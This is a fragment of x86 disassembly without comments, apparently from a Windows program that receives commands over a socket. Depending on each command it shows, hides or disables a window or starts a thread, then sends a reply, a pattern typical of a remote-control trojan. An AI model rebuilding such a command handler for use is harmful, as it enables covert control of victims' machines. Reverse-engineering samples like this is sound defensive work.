call fcn.00404a18
jne 0x40961b
push 1
mov eax, dword [ebp - 0x14]
call fcn.0040773c
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0xc]
mov edx, 0x409d1c
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d34
call fcn.00404a18
jne 0x409663
push 0
mov eax, dword [ebp - 0x14]
call fcn.0040773c
push eax
call sub.user32.dll_EnableWindow
lea eax, [ebp - 0xc]
mov edx, 0x409d40
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d4c
call fcn.00404a18
jne 0x4096ab
push 0xffffffffffffffff
mov eax, dword [ebp - 0x14]
call fcn.0040773c
push eax
call sub.user32.dll_EnableWindow
lea eax, [ebp - 0xc]
mov edx, 0x409d58
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d64
call fcn.00404a18
jne 0x4096eb
mov eax, dword [0x41a5fc]
mov byte [eax], 1
lea eax, [ebp - 0xc]
mov edx, 0x409d70
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
mov eax, dword [ebp - 0x10]
mov edx, 0x409d7c
call fcn.00404a18
jne 0x409772
mov eax, dword [0x41a578]
cmp byte [eax], 0
je 0x40970c
mov eax, dword [0x41a5e0]
mov byte [eax], 1
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, dword [0x41a564]
mov edx, dword [ebp - 0x14]
call fcn.00404660
mov eax, dword [0x41a5e0]
mov byte [eax], 0
mov eax, dword [0x41a578]
mov byte [eax], 1
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x407004
push 0
push 0
call sub.kernel32.dll_CreateThread
lea eax, [ebp - 0xc]
mov edx, 0x409d88
call fcn.004046a4
push 0
mov eax, dword [ebp - 0xc]
call fcn.004048cc
push eax
lea eax, [ebp - 0xc]
call fcn.00404b24
push eax
mov eax, dword [ebx]
push eax
call sub.wsock32.dll_send
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4097b7
lea eax, [ebp - 0x2e4]
mov edx, 0x2f
call fcn.00404630
lea eax, [ebp - 0x128]
call fcn.0040460c
lea eax, [ebp - 0x24]
mov edx, 7
call fcn.00404630
lea eax, [ebp - 4]
call fcn.0040460c
ret